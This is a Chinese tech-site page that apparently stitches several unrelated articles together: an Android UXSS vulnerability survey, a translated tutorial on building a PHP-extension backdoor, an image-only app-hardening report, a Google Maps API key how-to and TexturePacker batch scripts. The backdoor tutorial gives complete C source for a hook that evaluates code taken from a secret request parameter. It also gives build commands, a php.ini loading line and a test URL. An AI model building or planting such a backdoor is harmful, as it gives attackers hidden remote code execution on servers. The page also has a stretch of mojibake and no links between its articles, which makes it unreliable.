首页 > 编程技术 > android

Android开发的UXSS阶段性小结及自动化测试教程

发布时间:2016-9-20 19:58

UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型,本文我们来看看Android UXSS阶段性小结及自动化测试。

0x00 科普

WebView(网络视图)android中加载显示网页的重要组件,可以将其视为一个浏览器。在kitkat(android 4.4)以前使用WebKit渲染引擎加载显示网页,在kitkat之后使用谷歌自家内核chromium。

Uxss(Universal Cross-Site Scripting通用型XSS)UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。可以到达浏览器全局远程执行命令、绕过同源策略、窃取用户资料以及劫持用户的严重危害。

同源策略所谓同源是指,域名,协议,端口相同,浏览器或者浏览器扩展共同遵循的安全策略。详见: http://drops.wooyun.org/tips/151

0x01 事件

近段时间android UXSS漏洞持续性爆发涉及android应用包括主手机流浏览器、聊天软件等。下面截取几个案例。

WooYun: 搜狗手机浏览器跨域脚本执行漏洞之一

WooYun: 手机QQ安卓版两处跨域问题

WooYun: 猎豹/360/欧鹏/百度/遨游等手机浏览器安卓客户端UXSS(影响android4.4以下版本)

WooYun: UC浏览器Android最新版(4.4)跨域漏洞(不受系统版本限制)

引用某厂商对此漏洞的回应

非常感谢您的报告,此问题属于andriod webkit的漏洞,请尽量使用最新版的andriod系统。

的确漏洞产生的原因是因为kitkat(android 4.4)之前webview组件使用webview内核而遗留的漏洞。使用最新的android系统当然安全性要更高而且运行更流畅,但是有多少人能升级或者使用到相对安全的android版本了。下图来自谷歌官方2014.09.09的统计数据。

Android开发的UXSS阶段性小结及自动化测试教程

看起来情况不是太糟糕,有24.5%的android用户是处于相对安全的版本下。但是官方数据的是来google play明显和大陆水土不服。国内就只能使用相对靠谱的本土第三方统计了。下图是umeng八月的统计情况

Android开发的UXSS阶段性小结及自动化测试教程

能使用到相对安全的android系统的用户不到8%,那么问题来了~我要换一个什么的样的手机了。忘记我是个?潘苛耍?剖只?薹ㄉ?兜 kitkat也没钱换手机。那就只能选择使用相对安全的应用来尽量避免我受到攻击。于是我们收集了一些命中率较高的POC来验证到底哪些app更靠谱一些。

    https://code.google.com/p/chromium/issues/detail?id=37383
    https://code.google.com/p/chromium/issues/detail?id=90222
    https://code.google.com/p/chromium/issues/detail?id=98053
    https://code.google.com/p/chromium/issues/detail?id=117550
    https://code.google.com/p/chromium/issues/detail?id=143437
    https://code.google.com/p/chromium/issues/detail?id=143439
    CVE-2014-6041

为了方便大家也能够方便测试其他应用我们尝试写出一个自动化的脚本来完成此项工作。

0x02 测试

http://zone.wooyun.org/content/15792

下图为360浏览器在android 4.2.2下的测试结果

Android开发的UXSS阶段性小结及自动化测试教程

下图为搜狗浏览器在android 4.4.3下的测试结果

Android开发的UXSS阶段性小结及自动化测试教程

测试代码将放入github供大家参考,欢迎大神来修改

代码地址: https://github.com/click1/uxss

在线测试地址: http://uxss.sinaapp.com/index.php

0x03 对比

我们对主流手机浏览器进行了横向对比,测试对象包括:UC浏览器、搜狗浏览器、百度浏览器、360安全浏览器、欧鹏浏览器、遨游云浏览器、猎豹浏览器。测试结果见下图。

Android开发的UXSS阶段性小结及自动化测试教程

0x04 建议

厂商(仅供参考):

1、服务端禁止iframe嵌套 X-FRAME-OPTIONS:DENY 。详见:http://drops.wooyun.org/papers/104

2、客户端使用 setAllowFileAccess(flase) 方法禁止webview访问本地域。详见: setAllowFileAccess(boolean)

3、客户端使用onPageStarted (WebView view, String url, Bitmap favicon) 方法在跳转钱进行跨域判断。详见[onPageStarted (WebView view, String url, Bitmap favicon)][8]

4、客户端对iframe object标签属性进行过滤。

用户:

1、使用漏洞较少的app,及时更新app。

2、不要随意打开一些莫名其妙的链接。

3、有钱你就买新手机吧,android L马上出来了。(可以通过google play推送安全补丁,呵呵)

本文我们来手把手教你如何编写基于php扩展库的后门程序,学习目的是为了让我们对后门程序的深度理解,然后写出更安全的代码。

0x00 前言

今天我们将讨论编写基于PHP扩展库的后门。通常来说,大部分入侵者都会在脚本中留下自定义代码块后门。当然,这些东西很容易通过源代码的静态或动态分析找到。

利用PHP扩展库的好处显而易见:

1很难寻找 绕过disable_functions选项 有能力控制所有的代码 访问代码执行的API

但是我们需要有编辑PHP配置文件的能力。

0x01 细节

//【译者注:用linux两条命令搞定了,何必windows费这么大劲】

作为例子,我会用Windows来写。写扩展我用的Visual Studio 2012 Express版本。还需要的源代码最新版本,编译PHP库(可从同一来源收集)。为简单起见,我们需要是的php-5.5.15-Win32的 VC11-86和源PHP-5.5.15-src.zip

解压使用C编译PHP:PHP,源代码在C:PHP-SRC。

然后,你需要进行一些设置。

1)添加预处理器定义:

ZEND_DEBUG=0 ZTS=1 ZEND_WIN32 PHP_WIN32

编写基于PHP扩展库的后门

预处理器定义

2)添加的目录,用于连接源:

C: PHP-SRCmain C: PHP-SRCend C: PHP-SRCTSRM C: PHP-SRC egex C: PHP-SRC

编写基于PHP扩展库的后门

其他目录连接

3)添加其他目录中liboy php5ts.lib(C: PHP dev的)

编写基于PHP扩展库的后门

其他目录库

4)添加连接库php5ts.lib。

编写基于PHP扩展库的后门

装配额外的库

5)指定收集文件的路径。

编写基于PHP扩展库的后门

保存配置文件

配置参数为Workspace扩展的开发后(详情可以在http://blog.slickedit.com/2007/09/creating-a- php-5-extension-with-visual-c-2005/找到),创建一个新的项目类型后门“控制台应用程序的Win32”。

编写基于PHP扩展库的后门

在Visual StudioVyberem型“库DLL»项目”

选择合适类型

编写基于PHP扩展库的后门

然后,从项目中删除不必要的文件。应该只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。

在头文件stdafx.h中

#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

现在,我们直接进入PHP扩展的代码。删除所有行,并添加所需的文件连接。

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

如果workspace设置已经正确,警告就会消失。

当模块被初始化时,会有几个事件,其中每一个都在特定条件下发生。我们需要在查询执行时,去执行我们的代码。要做到这一点,你必须初始化我们所需要的功能,我给它命名为«hideme»。

PHP_RINIT_FUNCTION(hideme);

然后你可以去看模块的初始化。

zend_module_entry hideme_ext_module_entry = { STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(hideme_ext);

在这篇文章中,我们只需要加载中代码被执行即可,因此运行和卸载模块由空取代。

现在,你可以去看hideme的函数体。

PHP_RINIT_FUNCTION(hideme) { char* method = "_POST"; // 超全局数组,从中我们采取perametr和价值 char* secret_string = "secret_string"; //参数,这将是运行的代码 //【译者注:在原文作者的github代码中method是get,secret_string是execute,请大家按照github代码进行测试,不修改原文了】 zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查找散列表中所需的参数 code = Z_STRVAL_PP(val); //值 zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代码执行 } } return SUCCESS; }

注释应该比较清楚。最初,我们设置HTTP方法和参数secret_string。然后再寻找正确的数组参数,如果有的话,我们就从它的值中取指令,并通过zend_eval_string执行代码。

编译后的所得,即可作为一个扩展库。

下载源代码

https://github.com/akamajoris/php-extension-backdoor

0x02 测试

//以下为译者测试截图:

编写基于PHP扩展库的后门

1http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();

(因为原作者github代码设置的是execute)

Linux编译(kali)

1apt-get install php5-dev phpize && ./configure && make

在kali下测试一遍成功,我比较懒,直接chmod后把so复制到/var/www了哈哈

然后php.ini加上

1extension=/var/www/back.so

重启apache,测试成功

本文人产来分享一篇Android App安全加固行业分析报告,原来的内容是ppt文件,为了方便大家浏览,直接把图片截取下来放文章上了。

鉴于当前Android App安全加固市场火爆,特整合一个当前行业内较流行的安全加固厂商的安全加固产品介绍,希望能为大家拨开迷雾,见安全加固之真章!

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

分享Android App安全加固行业分析报告【图】

手机开发中地图应用是相当广范的,现在我们来看看Android开发中如何获取google Map API Key的方法。

地图应用使用com.google.android.maps这个包。通过MapView控件使用。但是之前需要申请一个用于开发的API Key,这个key会和当前的计算机用户绑定。然后通过这个key去官方申请就可以拿到一个开发用的api key了

<1>首先找到用户的debug.keystore文件,可以再”运行“里面搜debug.keystore;如:c:usersAdministrator.androiddebug.keystore

<2>接下来获取MD5指纹,网上很多说的有误。貌似新版默认是出现sha1加密的。通过添加-v 参数会显示所有。

首先运行cmd,在dos界面里,输入

keytool -list -v -keystore c:usersBystander.androiddebug.keystore

命令,然后会让你输入keystore密码,

输入:android,之后,会出现指纹认证MD5,如下:

Android开发如何获取google Map API Key

<3>去官方生成真正的api key

访问 Sign Up for the Android Maps API 输入那串值,同意条款,确定后要求用Google帐号登录。然后会拿到一个key。ok

TexturePacker是一款把若干资源图片拼接为一张大图的工具,现在我们来看看如何用TexturePacker软件实现*.pvr.ccz和png格式图片互转。

这两天在看一个安卓游戏,资源挺不错的,解压后发现animation里的图片格式全是pvr.ccz,查了下,这是做2D游戏spirit图打包后的格式,用的软件是TexturePacker,知道了软件那就知道如何解回去了。

下载TexturePacker

安装TexturePacker

将如下代码存成批处理

@echo off
path %path%;"C:Program Files (x86)TexturePackerbin"
for /f "usebackq tokens=*" %%d in (`dir /s /b *.pvr *.pvr.ccz *.pvr.gz`)
do (TexturePacker.exe "%%d" --sheet "%%~dpnd.png" --data "%%~dpnd.plist"
--opt RGBA8888 --allow-free-size --algorithm Basic --no-trim --dither-fs)
pause

将上面的批处理放在你的文件夹目录下,运行即可(支持遍历子目录)

将图片打包成pvr.czz,同样是需要一个批处理

@echo off
path %path%;"C:Program Files (x86)CodeAndWebTexturePackerbin"
for /f "usebackq tokens=*" %%d in (`dir /s /b *.png`) do (
TexturePacker.exe "%%d" --sheet "%%~dpnd.pvr" --data "%%~dpnd.plist"
  --opt PVRTC4 --allow-free-size --algorithm Basic --no-trim --dither-fs
)
pause

利用这个工具,我们来下载游戏资源图片就方便多啦,虽然此工具是商业收费的,不过也有免费版。

标签:[!--infotagslink--]

您可能感兴趣的文章: